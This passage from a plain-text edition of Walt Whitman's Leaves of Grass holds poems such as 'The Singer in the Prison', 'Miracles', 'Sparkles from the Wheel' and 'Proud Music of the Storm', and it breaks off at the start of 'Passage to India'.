+Matches every thought or act by its correlative, +Knows no possible forgiveness or deputed atonement, +Knows that the young man who composedly peril'd his life and lost it + has done exceedingly well for himself without doubt, +That he who never peril'd his life, but retains it to old age in + riches and ease, has probably achiev'd nothing for himself worth + mentioning, +Knows that only that person has really learn'd who has learn'd to + prefer results, +Who favors body and soul the same, +Who perceives the indirect assuredly following the direct, +Who in his spirit in any emergency whatever neither hurries nor + avoids death. + + + +} The Singer in the Prison + + O sight of pity, shame and dole! + O fearful thought--a convict soul. + + 1 +Rang the refrain along the hall, the prison, +Rose to the roof, the vaults of heaven above, +Pouring in floods of melody in tones so pensive sweet and strong the + like whereof was never heard, +Reaching the far-off sentry and the armed guards, who ceas'd their pacing, +Making the hearer's pulses stop for ecstasy and awe. + + 2 +The sun was low in the west one winter day, +When down a narrow aisle amid the thieves and outlaws of the land, +(There by the hundreds seated, sear-faced murderers, wily counterfeiters, +Gather'd to Sunday church in prison walls, the keepers round, +Plenteous, well-armed, watching with vigilant eyes,) +Calmly a lady walk'd holding a little innocent child by either hand, +Whom seating on their stools beside her on the platform, +She, first preluding with the instrument a low and musical prelude, +In voice surpassing all, sang forth a quaint old hymn. + + A soul confined by bars and bands, + Cries, help! O help! and wrings her hands, + Blinded her eyes, bleeding her breast, + Nor pardon finds, nor balm of rest. + + Ceaseless she paces to and fro, + O heart-sick days! O nights of woe! + Nor hand of friend, nor loving face, + Nor favor comes, nor word of grace. + + It was not I that sinn'd the sin, + The ruthless body dragg'd me in; + Though long I strove courageously, + The body was too much for me. + + Dear prison'd soul bear up a space, + For soon or late the certain grace; + To set thee free and bear thee home, + The heavenly pardoner death shall come. + + Convict no more, nor shame, nor dole! + Depart--a God-enfranchis'd soul! + + 3 +The singer ceas'd, +One glance swept from her clear calm eyes o'er all those upturn'd faces, +Strange sea of prison faces, a thousand varied, crafty, brutal, + seam'd and beauteous faces, +Then rising, passing back along the narrow aisle between them, +While her gown touch'd them rustling in the silence, +She vanish'd with her children in the dusk. + +While upon all, convicts and armed keepers ere they stirr'd, +(Convict forgetting prison, keeper his loaded pistol,) +A hush and pause fell down a wondrous minute, +With deep half-stifled sobs and sound of bad men bow'd and moved to weeping, +And youth's convulsive breathings, memories of home, +The mother's voice in lullaby, the sister's care, the happy childhood, +The long-pent spirit rous'd to reminiscence; +A wondrous minute then--but after in the solitary night, to many, + many there, +Years after, even in the hour of death, the sad refrain, the tune, + the voice, the words, +Resumed, the large calm lady walks the narrow aisle, +The wailing melody again, the singer in the prison sings, + + O sight of pity, shame and dole! + O fearful thought--a convict soul. + + + +} Warble for Lilac-Time + +Warble me now for joy of lilac-time, (returning in reminiscence,) +Sort me O tongue and lips for Nature's sake, souvenirs of earliest summer, +Gather the welcome signs, (as children with pebbles or stringing shells,) +Put in April and May, the hylas croaking in the ponds, the elastic air, +Bees, butterflies, the sparrow with its simple notes, +Blue-bird and darting swallow, nor forget the high-hole flashing his + golden wings, +The tranquil sunny haze, the clinging smoke, the vapor, +Shimmer of waters with fish in them, the cerulean above, +All that is jocund and sparkling, the brooks running, +The maple woods, the crisp February days and the sugar-making, +The robin where he hops, bright-eyed, brown-breasted, +With musical clear call at sunrise, and again at sunset, +Or flitting among the trees of the apple-orchard, building the nest + of his mate, +The melted snow of March, the willow sending forth its yellow-green sprouts, +For spring-time is here! the summer is here! and what is this in it + and from it? +Thou, soul, unloosen'd--the restlessness after I know not what; +Come, let us lag here no longer, let us be up and away! +O if one could but fly like a bird! +O to escape, to sail forth as in a ship! +To glide with thee O soul, o'er all, in all, as a ship o'er the waters; +Gathering these hints, the preludes, the blue sky, the grass, the + morning drops of dew, +The lilac-scent, the bushes with dark green heart-shaped leaves, +Wood-violets, the little delicate pale blossoms called innocence, +Samples and sorts not for themselves alone, but for their atmosphere, +To grace the bush I love--to sing with the birds, +A warble for joy of returning in reminiscence. + + + +} Outlines for a Tomb [G. P., Buried 1870] + + 1 +What may we chant, O thou within this tomb? +What tablets, outlines, hang for thee, O millionnaire? +The life thou lived'st we know not, +But that thou walk'dst thy years in barter, 'mid the haunts of + brokers, +Nor heroism thine, nor war, nor glory. + + 2 +Silent, my soul, +With drooping lids, as waiting, ponder'd, +Turning from all the samples, monuments of heroes. + +While through the interior vistas, +Noiseless uprose, phantasmic, (as by night Auroras of the north,) +Lambent tableaus, prophetic, bodiless scenes, +Spiritual projections. + +In one, among the city streets a laborer's home appear'd, +After his day's work done, cleanly, sweet-air'd, the gaslight burning, +The carpet swept and a fire in the cheerful stove. + +In one, the sacred parturition scene, +A happy painless mother birth'd a perfect child. + +In one, at a bounteous morning meal, +Sat peaceful parents with contented sons. + +In one, by twos and threes, young people, +Hundreds concentring, walk'd the paths and streets and roads, +Toward a tall-domed school. + +In one a trio beautiful, +Grandmother, loving daughter, loving daughter's daughter, sat, +Chatting and sewing. + +In one, along a suite of noble rooms, +'Mid plenteous books and journals, paintings on the walls, fine statuettes, +Were groups of friendly journeymen, mechanics young and old, +Reading, conversing. + +All, all the shows of laboring life, +City and country, women's, men's and children's, +Their wants provided for, hued in the sun and tinged for once with joy, +Marriage, the street, the factory, farm, the house-room, lodging-room, +Labor and toll, the bath, gymnasium, playground, library, college, +The student, boy or girl, led forward to be taught, +The sick cared for, the shoeless shod, the orphan father'd and mother'd, +The hungry fed, the houseless housed; +(The intentions perfect and divine, +The workings, details, haply human.) + + 3 +O thou within this tomb, +From thee such scenes, thou stintless, lavish giver, +Tallying the gifts of earth, large as the earth, +Thy name an earth, with mountains, fields and tides. + +Nor by your streams alone, you rivers, +By you, your banks Connecticut, +By you and all your teeming life old Thames, +By you Potomac laving the ground Washington trod, by you Patapsco, +You Hudson, you endless Mississippi--nor you alone, +But to the high seas launch, my thought, his memory. + + + +} Out from Behind This Mask [To Confront a Portrait] + + 1 +Out from behind this bending rough-cut mask, +These lights and shades, this drama of the whole, +This common curtain of the face contain'd in me for me, in you for + you, in each for each, +(Tragedies, sorrows, laughter, tears--0 heaven! +The passionate teeming plays this curtain hid!) +This glaze of God's serenest purest sky, +This film of Satan's seething pit, +This heart's geography's map, this limitless small continent, this + soundless sea; +Out from the convolutions of this globe, +This subtler astronomic orb than sun or moon, than Jupiter, Venus, Mars, +This condensation of the universe, (nay here the only universe, +Here the idea, all in this mystic handful wrapt;) +These burin'd eyes, flashing to you to pass to future time, +To launch and spin through space revolving sideling, from these to emanate, +To you whoe'er you are--a look. + + 2 +A traveler of thoughts and years, of peace and war, +Of youth long sped and middle age declining, +(As the first volume of a tale perused and laid away, and this the second, +Songs, ventures, speculations, presently to close,) +Lingering a moment here and now, to you I opposite turn, +As on the road or at some crevice door by chance, or open'd window, +Pausing, inclining, baring my head, you specially I greet, +To draw and clinch your soul for once inseparably with mine, +Then travel travel on. + + + +} Vocalism + + 1 +Vocalism, measure, concentration, determination, and the divine + power to speak words; +Are you full-lung'd and limber-lipp'd from long trial? from vigorous + practice? from physique? +Do you move in these broad lands as broad as they? +Come duly to the divine power to speak words? +For only at last after many years, after chastity, friendship, + procreation, prudence, and nakedness, +After treading ground and breasting river and lake, +After a loosen'd throat, after absorbing eras, temperaments, races, + after knowledge, freedom, crimes, +After complete faith, after clarifyings, elevations, and removing + obstructions, +After these and more, it is just possible there comes to a man, + woman, the divine power to speak words; +Then toward that man or that woman swiftly hasten all--none + refuse, all attend, +Armies, ships, antiquities, libraries, paintings, machines, cities, + hate, despair, amity, pain, theft, murder, aspiration, form in + close ranks, +They debouch as they are wanted to march obediently through the + mouth of that man or that woman. + + 2 +O what is it in me that makes me tremble so at voices? +Surely whoever speaks to me in the right voice, him or her I shall follow, +As the water follows the moon, silently, with fluid steps, anywhere + around the globe. + +All waits for the right voices; +Where is the practis'd and perfect organ? where is the develop'd soul? +For I see every word utter'd thence has deeper, sweeter, new sounds, + impossible on less terms. + +I see brains and lips closed, tympans and temples unstruck, +Until that comes which has the quality to strike and to unclose, +Until that comes which has the quality to bring forth what lies + slumbering forever ready in all words. + + + +} To Him That Was Crucified + +My spirit to yours dear brother, +Do not mind because many sounding your name do not understand you, +I do not sound your name, but I understand you, +I specify you with joy O my comrade to salute you, and to salute + those who are with you, before and since, and those to come also, +That we all labor together transmitting the same charge and succession, +We few equals indifferent of lands, indifferent of times, +We, enclosers of all continents, all castes, allowers of all theologies, +Compassionaters, perceivers, rapport of men, +We walk silent among disputes and assertions, but reject not the + disputers nor any thing that is asserted, +We hear the bawling and din, we are reach'd at by divisions, + jealousies, recriminations on every side, +They close peremptorily upon us to surround us, my comrade, +Yet we walk unheld, free, the whole earth over, journeying up and + down till we make our ineffaceable mark upon time and the diverse eras, +Till we saturate time and eras, that the men and women of races, + ages to come, may prove brethren and lovers as we are. + + + +} You Felons on Trial in Courts + +You felons on trial in courts, +You convicts in prison-cells, you sentenced assassins chain'd and + handcuff'd with iron, +Who am I too that I am not on trial or in prison? +Me ruthless and devilish as any, that my wrists are not chain'd with + iron, or my ankles with iron? + +You prostitutes flaunting over the trottoirs or obscene in your rooms, +Who am I that I should call you more obscene than myself? + +O culpable! I acknowledge--I expose! +(O admirers, praise not me--compliment not me--you make me wince, +I see what you do not--I know what you do not.) + +Inside these breast-bones I lie smutch'd and choked, +Beneath this face that appears so impassive hell's tides continually run, +Lusts and wickedness are acceptable to me, +I walk with delinquents with passionate love, +I feel I am of them--I belong to those convicts and prostitutes myself, +And henceforth I will not deny them--for how can I deny myself? + + + +} Laws for Creations + +Laws for creations, +For strong artists and leaders, for fresh broods of teachers and + perfect literats for America, +For noble savans and coming musicians. +All must have reference to the ensemble of the world, and the + compact truth of the world, +There shall be no subject too pronounced--all works shall illustrate + the divine law of indirections. + +What do you suppose creation is? +What do you suppose will satisfy the soul, except to walk free and + own no superior? +What do you suppose I would intimate to you in a hundred ways, but + that man or woman is as good as God? +And that there is no God any more divine than Yourself? +And that that is what the oldest and newest myths finally mean? +And that you or any one must approach creations through such laws? + + + +} To a Common Prostitute + +Be composed--be at ease with me--I am Walt Whitman, liberal and + lusty as Nature, +Not till the sun excludes you do I exclude you, +Not till the waters refuse to glisten for you and the leaves to + rustle for you, do my words refuse to glisten and rustle for you. + +My girl I appoint with you an appointment, and I charge you that you + make preparation to be worthy to meet me, +And I charge you that you be patient and perfect till I come. + +Till then I salute you with a significant look that you do not forget me. + + + +} I Was Looking a Long While + +I was looking a long while for Intentions, +For a clew to the history of the past for myself, and for these + chants--and now I have found it, +It is not in those paged fables in the libraries, (them I neither + accept nor reject,) +It is no more in the legends than in all else, +It is in the present--it is this earth to-day, +It is in Democracy--(the purport and aim of all the past,) +It is the life of one man or one woman to-day--the average man of to-day, +It is in languages, social customs, literatures, arts, +It is in the broad show of artificial things, ships, machinery, + politics, creeds, modern improvements, and the interchange of nations, +All for the modern--all for the average man of to-day. + + + +} Thought + +Of persons arrived at high positions, ceremonies, wealth, + scholarships, and the like; +(To me all that those persons have arrived at sinks away from them, + except as it results to their bodies and souls, +So that often to me they appear gaunt and naked, +And often to me each one mocks the others, and mocks himself or herself, +And of each one the core of life, namely happiness, is full of the + rotten excrement of maggots, +And often to me those men and women pass unwittingly the true + realities of life, and go toward false realities, +And often to me they are alive after what custom has served them, + but nothing more, +And often to me they are sad, hasty, unwaked sonnambules walking the dusk.) + + + +} Miracles + +Why, who makes much of a miracle? +As to me I know of nothing else but miracles, +Whether I walk the streets of Manhattan, +Or dart my sight over the roofs of houses toward the sky, +Or wade with naked feet along the beach just in the edge of the water, +Or stand under trees in the woods, +Or talk by day with any one I love, or sleep in the bed at night + with any one I love, +Or sit at table at dinner with the rest, +Or look at strangers opposite me riding in the car, +Or watch honey-bees busy around the hive of a summer forenoon, +Or animals feeding in the fields, +Or birds, or the wonderfulness of insects in the air, +Or the wonderfulness of the sundown, or of stars shining so quiet + and bright, +Or the exquisite delicate thin curve of the new moon in spring; +These with the rest, one and all, are to me miracles, +The whole referring, yet each distinct and in its place. + +To me every hour of the light and dark is a miracle, +Every cubic inch of space is a miracle, +Every square yard of the surface of the earth is spread with the same, +Every foot of the interior swarms with the same. +To me the sea is a continual miracle, +The fishes that swim--the rocks--the motion of the waves--the + ships with men in them, +What stranger miracles are there? + + + +} Sparkles from the Wheel + +Where the city's ceaseless crowd moves on the livelong day, +Withdrawn I join a group of children watching, I pause aside with them. + +By the curb toward the edge of the flagging, +A knife-grinder works at his wheel sharpening a great knife, +Bending over he carefully holds it to the stone, by foot and knee, +With measur'd tread he turns rapidly, as he presses with light but + firm hand, +Forth issue then in copious golden jets, +Sparkles from the wheel. + +The scene and all its belongings, how they seize and affect me, +The sad sharp-chinn'd old man with worn clothes and broad + shoulder-band of leather, +Myself effusing and fluid, a phantom curiously floating, now here + absorb'd and arrested, +The group, (an unminded point set in a vast surrounding,) +The attentive, quiet children, the loud, proud, restive base of the streets, +The low hoarse purr of the whirling stone, the light-press'd blade, +Diffusing, dropping, sideways-darting, in tiny showers of gold, +Sparkles from the wheel. + + + +} To a Pupil + +Is reform needed? is it through you? +The greater the reform needed, the greater the Personality you need + to accomplish it. + +You! do you not see how it would serve to have eyes, blood, + complexion, clean and sweet? +Do you not see how it would serve to have such a body and soul that + when you enter the crowd an atmosphere of desire and command + enters with you, and every one is impress'd with your Personality? + +O the magnet! the flesh over and over! +Go, dear friend, if need be give up all else, and commence to-day to + inure yourself to pluck, reality, self-esteem, definiteness, + elevatedness, +Rest not till you rivet and publish yourself of your own Personality. + + + +} Unfolded out of the Folds + +Unfolded out of the folds of the woman man comes unfolded, and is + always to come unfolded, +Unfolded only out of the superbest woman of the earth is to come the + superbest man of the earth, +Unfolded out of the friendliest woman is to come the friendliest man, +Unfolded only out of the perfect body of a woman can a man be + form'd of perfect body, +Unfolded only out of the inimitable poems of woman can come the + poems of man, (only thence have my poems come;) +Unfolded out of the strong and arrogant woman I love, only thence + can appear the strong and arrogant man I love, +Unfolded by brawny embraces from the well-muscled woman + love, only thence come the brawny embraces of the man, +Unfolded out of the folds of the woman's brain come all the folds + of the man's brain, duly obedient, +Unfolded out of the justice of the woman all justice is unfolded, +Unfolded out of the sympathy of the woman is all sympathy; +A man is a great thing upon the earth and through eternity, but + every of the greatness of man is unfolded out of woman; +First the man is shaped in the woman, he can then be shaped in himself. + + + +} What Am I After All + +What am I after all but a child, pleas'd with the sound of my own + name? repeating it over and over; +I stand apart to hear--it never tires me. + +To you your name also; +Did you think there was nothing but two or three pronunciations in + the sound of your name? + + + +} Kosmos + +Who includes diversity and is Nature, +Who is the amplitude of the earth, and the coarseness and sexuality of + the earth, and the great charity of the earth, and the equilibrium also, +Who has not look'd forth from the windows the eyes for nothing, + or whose brain held audience with messengers for nothing, +Who contains believers and disbelievers, who is the most majestic lover, +Who holds duly his or her triune proportion of realism, + spiritualism, and of the aesthetic or intellectual, +Who having consider'd the body finds all its organs and parts good, +Who, out of the theory of the earth and of his or her body + understands by subtle analogies all other theories, +The theory of a city, a poem, and of the large politics of these States; +Who believes not only in our globe with its sun and moon, but in + other globes with their suns and moons, +Who, constructing the house of himself or herself, not for a day + but for all time, sees races, eras, dates, generations, +The past, the future, dwelling there, like space, inseparable together. + + + +} Others May Praise What They Like + +Others may praise what they like; +But I, from the banks of the running Missouri, praise nothing in art + or aught else, +Till it has well inhaled the atmosphere of this river, also the + western prairie-scent, +And exudes it all again. + + + +} Who Learns My Lesson Complete? + +Who learns my lesson complete? +Boss, journeyman, apprentice, churchman and atheist, +The stupid and the wise thinker, parents and offspring, merchant, + clerk, porter and customer, +Editor, author, artist, and schoolboy--draw nigh and commence; +It is no lesson--it lets down the bars to a good lesson, +And that to another, and every one to another still. + +The great laws take and effuse without argument, +I am of the same style, for I am their friend, +I love them quits and quits, I do not halt and make salaams. + +I lie abstracted and hear beautiful tales of things and the reasons + of things, +They are so beautiful I nudge myself to listen. + +I cannot say to any person what I hear--I cannot say it to myself-- + it is very wonderful. + +It is no small matter, this round and delicious globe moving so + exactly in its orbit for ever and ever, without one jolt or + the untruth of a single second, +I do not think it was made in six days, nor in ten thousand years, + nor ten billions of years, +Nor plann'd and built one thing after another as an architect plans + and builds a house. + +I do not think seventy years is the time of a man or woman, +Nor that seventy millions of years is the time of a man or woman, +Nor that years will ever stop the existence of me, or any one else. + +Is it wonderful that I should be immortal? as every one is immortal; +I know it is wonderful, but my eyesight is equally wonderful, and + how I was conceived in my mother's womb is equally wonderful, +And pass'd from a babe in the creeping trance of a couple of + summers and winters to articulate and walk--all this is + equally wonderful. + +And that my soul embraces you this hour, and we affect each other + without ever seeing each other, and never perhaps to see + each other, is every bit as wonderful. + +And that I can think such thoughts as these is just as wonderful, +And that I can remind you, and you think them and know them to + be true, is just as wonderful. + +And that the moon spins round the earth and on with the earth, is + equally wonderful, +And that they balance themselves with the sun and stars is equally + wonderful. + + + +} Tests + +All submit to them where they sit, inner, secure, unapproachable to + analysis in the soul, +Not traditions, not the outer authorities are the judges, +They are the judges of outer authorities and of all traditions, +They corroborate as they go only whatever corroborates themselves, + and touches themselves; +For all that, they have it forever in themselves to corroborate far + and near without one exception. + + + +} The Torch + +On my Northwest coast in the midst of the night a fishermen's group + stands watching, +Out on the lake that expands before them, others are spearing salmon, +The canoe, a dim shadowy thing, moves across the black water, +Bearing a torch ablaze at the prow. + + + +} O Star of France [1870-71] + +O star of France, +The brightness of thy hope and strength and fame, +Like some proud ship that led the fleet so long, +Beseems to-day a wreck driven by the gale, a mastless hulk, +And 'mid its teeming madden'd half-drown'd crowds, +Nor helm nor helmsman. + +Dim smitten star, +Orb not of France alone, pale symbol of my soul, its dearest hopes, +The struggle and the daring, rage divine for liberty, +Of aspirations toward the far ideal, enthusiast's dreams of brotherhood, +Of terror to the tyrant and the priest. + +Star crucified--by traitors sold, +Star panting o'er a land of death, heroic land, +Strange, passionate, mocking, frivolous land. + +Miserable! yet for thy errors, vanities, sins, I will not now rebuke thee, +Thy unexampled woes and pangs have quell'd them all, +And left thee sacred. + +In that amid thy many faults thou ever aimedst highly, +In that thou wouldst not really sell thyself however great the price, +In that thou surely wakedst weeping from thy drugg'd sleep, +In that alone among thy sisters thou, giantess, didst rend the ones + that shamed thee, +In that thou couldst not, wouldst not, wear the usual chains, +This cross, thy livid face, thy pierced hands and feet, +The spear thrust in thy side. + +O star! O ship of France, beat back and baffled long! +Bear up O smitten orb! O ship continue on! + +Sure as the ship of all, the Earth itself, +Product of deathly fire and turbulent chaos, +Forth from its spasms of fury and its poisons, +Issuing at last in perfect power and beauty, +Onward beneath the sun following its course, +So thee O ship of France! + +Finish'd the days, the clouds dispel'd +The travail o'er, the long-sought extrication, +When lo! reborn, high o'er the European world, +(In gladness answering thence, as face afar to face, reflecting ours + Columbia,) +Again thy star O France, fair lustrous star, +In heavenly peace, clearer, more bright than ever, +Shall beam immortal. + + + +} The Ox-Tamer + +In a far-away northern county in the placid pastoral region, +Lives my farmer friend, the theme of my recitative, a famous tamer of oxen, +There they bring him the three-year-olds and the four-year-olds to + break them, +He will take the wildest steer in the world and break him and tame him, +He will go fearless without any whip where the young bullock + chafes up and down the yard, +The bullock's head tosses restless high in the air with raging eyes, +Yet see you! how soon his rage subsides--how soon this tamer tames him; +See you! on the farms hereabout a hundred oxen young and old, + and he is the man who has tamed them, +They all know him, all are affectionate to him; +See you! some are such beautiful animals, so lofty looking; +Some are buff-color'd, some mottled, one has a white line running + along his back, some are brindled, +Some have wide flaring horns (a good sign)--see you! the bright hides, +See, the two with stars on their foreheads--see, the round bodies + and broad backs, +How straight and square they stand on their legs--what fine sagacious eyes! +How straight they watch their tamer--they wish him near them--how + they turn to look after him! +What yearning expression! how uneasy they are when he moves away from them; +Now I marvel what it can be he appears to them, (books, politics, + poems, depart--all else departs,) +I confess I envy only his fascination--my silent, illiterate friend, +Whom a hundred oxen love there in his life on farms, +In the northern county far, in the placid pastoral region. + + + +} An Old Man's Thought of School +[For the Inauguration of a Public School, Camden, New Jersey, 1874] + +An old man's thought of school, +An old man gathering youthful memories and blooms that youth itself cannot. + +Now only do I know you, +O fair auroral skies--O morning dew upon the grass! + +And these I see, these sparkling eyes, +These stores of mystic meaning, these young lives, +Building, equipping like a fleet of ships, immortal ships, +Soon to sail out over the measureless seas, +On the soul's voyage. + +Only a lot of boys and girls? +Only the tiresome spelling, writing, ciphering classes? +Only a public school? + +Ah more, infinitely more; +(As George Fox rais'd his warning cry, "Is it this pile of brick and + mortar, these dead floors, windows, rails, you call the church? +Why this is not the church at all--the church is living, ever living + souls.") + +And you America, +Cast you the real reckoning for your present? +The lights and shadows of your future, good or evil? +To girlhood, boyhood look, the teacher and the school. + + + +} Wandering at Morn + +Wandering at morn, +Emerging from the night from gloomy thoughts, thee in my thoughts, +Yearning for thee harmonious Union! thee, singing bird divine! +Thee coil'd in evil times my country, with craft and black dismay, + with every meanness, treason thrust upon thee, +This common marvel I beheld--the parent thrush I watch'd feeding its young, +The singing thrush whose tones of joy and faith ecstatic, +Fail not to certify and cheer my soul. + +There ponder'd, felt I, +If worms, snakes, loathsome grubs, may to sweet spiritual songs be turn'd, +If vermin so transposed, so used and bless'd may be, +Then may I trust in you, your fortunes, days, my country; +Who knows but these may be the lessons fit for you? +From these your future song may rise with joyous trills, +Destin'd to fill the world. + + + +} Italian Music in Dakota +["The Seventeenth--the finest Regimental Band I ever heard."] + +Through the soft evening air enwinding all, +Rocks, woods, fort, cannon, pacing sentries, endless wilds, +In dulcet streams, in flutes' and cornets' notes, +Electric, pensive, turbulent, artificial, +(Yet strangely fitting even here, meanings unknown before, +Subtler than ever, more harmony, as if born here, related here, +Not to the city's fresco'd rooms, not to the audience of the opera house, +Sounds, echoes, wandering strains, as really here at home, +Sonnambula's innocent love, trios with Norma's anguish, +And thy ecstatic chorus Poliuto;) +Ray'd in the limpid yellow slanting sundown, +Music, Italian music in Dakota. + +While Nature, sovereign of this gnarl'd realm, +Lurking in hidden barbaric grim recesses, +Acknowledging rapport however far remov'd, +(As some old root or soil of earth its last-born flower or fruit,) +Listens well pleas'd. + + + +} With All Thy Gifts + +With all thy gifts America, +Standing secure, rapidly tending, overlooking the world, +Power, wealth, extent, vouchsafed to thee--with these and like of + these vouchsafed to thee, +What if one gift thou lackest? (the ultimate human problem never solving,) +The gift of perfect women fit for thee--what if that gift of gifts + thou lackest? +The towering feminine of thee? the beauty, health, completion, fit for thee? +The mothers fit for thee? + + + +} My Picture-Gallery + +In a little house keep I pictures suspended, it is not a fix'd house, +It is round, it is only a few inches from one side to the other; +Yet behold, it has room for all the shows of the world, all memories! +Here the tableaus of life, and here the groupings of death; +Here, do you know this? this is cicerone himself, +With finger rais'd he points to the prodigal pictures. + + + +} The Prairie States + +A newer garden of creation, no primal solitude, +Dense, joyous, modern, populous millions, cities and farms, +With iron interlaced, composite, tied, many in one, +By all the world contributed--freedom's and law's and thrift's society, +The crown and teeming paradise, so far, of time's accumulations, +To justify the past. + + + +[BOOK XXV] + +} Proud Music of the Storm + + 1 +Proud music of the storm, +Blast that careers so free, whistling across the prairies, +Strong hum of forest tree-tops--wind of the mountains, +Personified dim shapes--you hidden orchestras, +You serenades of phantoms with instruments alert, +Blending with Nature's rhythmus all the tongues of nations; +You chords left as by vast composers--you choruses, +You formless, free, religious dances--you from the Orient, +You undertone of rivers, roar of pouring cataracts, +You sounds from distant guns with galloping cavalry, +Echoes of camps with all the different bugle-calls, +Trooping tumultuous, filling the midnight late, bending me powerless, +Entering my lonesome slumber-chamber, why have you seiz'd me? + + + 2 +Come forward O my soul, and let the rest retire, +Listen, lose not, it is toward thee they tend, +Parting the midnight, entering my slumber-chamber, +For thee they sing and dance O soul. + +A festival song, +The duet of the bridegroom and the bride, a marriage-march, +With lips of love, and hearts of lovers fill'd to the brim with love, +The red-flush'd cheeks and perfumes, the cortege swarming full of + friendly faces young and old, +To flutes' clear notes and sounding harps' cantabile. + +Now loud approaching drums, +Victoria! seest thou in powder-smoke the banners torn but flying? + the rout of the baffled? +Hearest those shouts of a conquering army? + +(Ah soul, the sobs of women, the wounded groaning in agony, +The hiss and crackle of flames, the blacken'd ruins, the embers of cities, +The dirge and desolation of mankind.) + +Now airs antique and mediaeval fill me, +I see and hear old harpers with their harps at Welsh festivals, +I hear the minnesingers singing their lays of love, +I hear the minstrels, gleemen, troubadours, of the middle ages. + +Now the great organ sounds, +Tremulous, while underneath, (as the hid footholds of the earth, +On which arising rest, and leaping forth depend, +All shapes of beauty, grace and strength, all hues we know, +Green blades of grass and warbling birds, children that gambol and + play, the clouds of heaven above,) +The strong base stands, and its pulsations intermits not, +Bathing, supporting, merging all the rest, maternity of all the rest, +And with it every instrument in multitudes, +The players playing, all the world's musicians, +The solemn hymns and masses rousing adoration, +All passionate heart-chants, sorrowful appeals, +The measureless sweet vocalists of ages, +And for their solvent setting earth's own diapason, +Of winds and woods and mighty ocean waves, +A new composite orchestra, binder of years and climes, ten-fold renewer, +As of the far-back days the poets tell, the Paradiso, +The straying thence, the separation long, but now the wandering done, +The journey done, the journeyman come home, +And man and art with Nature fused again. + +Tutti! for earth and heaven; +(The Almighty leader now for once has signal'd with his wand.) + +The manly strophe of the husbands of the world, +And all the wives responding. + +The tongues of violins, +(I think O tongues ye tell this heart, that cannot tell itself, +This brooding yearning heart, that cannot tell itself.) + + 3 +Ah from a little child, +Thou knowest soul how to me all sounds became music, +My mother's voice in lullaby or hymn, +(The voice, O tender voices, memory's loving voices, +Last miracle of all, O dearest mother's, sister's, voices;) +The rain, the growing corn, the breeze among the long-leav'd corn, +The measur'd sea-surf beating on the sand, +The twittering bird, the hawk's sharp scream, +The wild-fowl's notes at night as flying low migrating north or south, +The psalm in the country church or mid the clustering trees, the + open air camp-meeting, +The fiddler in the tavern, the glee, the long-strung sailor-song, +The lowing cattle, bleating sheep, the crowing cock at dawn. + +All songs of current lands come sounding round me, +The German airs of friendship, wine and love, +Irish ballads, merry jigs and dances, English warbles, +Chansons of France, Scotch tunes, and o'er the rest, +Italia's peerless compositions. + +Across the stage with pallor on her face, yet lurid passion, +Stalks Norma brandishing the dagger in her hand. + +I see poor crazed Lucia's eyes' unnatural gleam, +Her hair down her back falls loose and dishevel'd. + +I see where Ernani walking the bridal garden, +Amid the scent of night-roses, radiant, holding his bride by the hand, +Hears the infernal call, the death-pledge of the horn. + +To crossing swords and gray hairs bared to heaven, +The clear electric base and baritone of the world, +The trombone duo, Libertad forever! +From Spanish chestnut trees' dense shade, +By old and heavy convent walls a wailing song, +Song of lost love, the torch of youth and life quench'd in despair, +Song of the dying swan, Fernando's heart is breaking. + +Awaking from her woes at last retriev'd Amina sings, +Copious as stars and glad as morning light the torrents of her joy. + +(The teeming lady comes, +The lustrious orb, Venus contralto, the blooming mother, +Sister of loftiest gods, Alboni's self I hear.) + + 4 +I hear those odes, symphonies, operas, +I hear in the William Tell the music of an arous'd and angry people, +I hear Meyerbeer's Huguenots, the Prophet, or Robert, +Gounod's Faust, or Mozart's Don Juan. + +I hear the dance-music of all nations, +The waltz, some delicious measure, lapsing, bathing me in bliss, +The bolero to tinkling guitars and clattering castanets. + +I see religious dances old and new, +I hear the sound of the Hebrew lyre, +I see the crusaders marching bearing the cross on high, to the + martial clang of cymbals, +I hear dervishes monotonously chanting, interspers'd with frantic + shouts, as they spin around turning always towards Mecca, +I see the rapt religious dances of the Persians and the Arabs, +Again, at Eleusis, home of Ceres, I see the modern Greeks dancing, +I hear them clapping their hands as they bend their bodies, +I hear the metrical shuffling of their feet. + +I see again the wild old Corybantian dance, the performers wounding + each other, +I see the Roman youth to the shrill sound of flageolets throwing and + catching their weapons, +As they fall on their knees and rise again. + +I hear from the Mussulman mosque the muezzin calling, +I see the worshippers within, nor form nor sermon, argument nor word, +But silent, strange, devout, rais'd, glowing heads, ecstatic faces. + +I hear the Egyptian harp of many strings, +The primitive chants of the Nile boatmen, +The sacred imperial hymns of China, +To the delicate sounds of the king, (the stricken wood and stone,) +Or to Hindu flutes and the fretting twang of the vina, +A band of bayaderes. + + 5 +Now Asia, Africa leave me, Europe seizing inflates me, +To organs huge and bands I hear as from vast concourses of voices, +Luther's strong hymn Eine feste Burg ist unser Gott, +Rossini's Stabat Mater dolorosa, +Or floating in some high cathedral dim with gorgeous color'd windows, +The passionate Agnus Dei or Gloria in Excelsis. + +Composers! mighty maestros! +And you, sweet singers of old lands, soprani, tenori, bassi! +To you a new bard caroling in the West, +Obeisant sends his love. + +(Such led to thee O soul, +All senses, shows and objects, lead to thee, +But now it seems to me sound leads o'er all the rest.) + +I hear the annual singing of the children in St. Paul's cathedral, +Or, under the high roof of some colossal hall, the symphonies, + oratorios of Beethoven, Handel, or Haydn, +The Creation in billows of godhood laves me. + +Give me to hold all sounds, (I madly struggling cry,) +Fill me with all the voices of the universe, +Endow me with their throbbings, Nature's also, +The tempests, waters, winds, operas and chants, marches and dances, +Utter, pour in, for I would take them all! + + 6 +Then I woke softly, +And pausing, questioning awhile the music of my dream, +And questioning all those reminiscences, the tempest in its fury, +And all the songs of sopranos and tenors, +And those rapt oriental dances of religious fervor, +And the sweet varied instruments, and the diapason of organs, +And all the artless plaints of love and grief and death, +I said to my silent curious soul out of the bed of the slumber-chamber, +Come, for I have found the clew I sought so long, +Let us go forth refresh'd amid the day, +Cheerfully tallying life, walking the world, the real, +Nourish'd henceforth by our celestial dream. + +And I said, moreover, +Haply what thou hast heard O soul was not the sound of winds, +Nor dream of raging storm, nor sea-hawk's flapping wings nor harsh scream, +Nor vocalism of sun-bright Italy, +Nor German organ majestic, nor vast concourse of voices, nor layers + of harmonies, +Nor strophes of husbands and wives, nor sound of marching soldiers, +Nor flutes, nor harps, nor the bugle-calls of camps, +But to a new rhythmus fitted for thee, +Poems bridging the way from Life to Death, vaguely wafted in night + air, uncaught, unwritten, +Which let us go forth in the bold day and write. + + + +[BOOK XXVI] + +} Passage to India + + 1 +Singing my days, 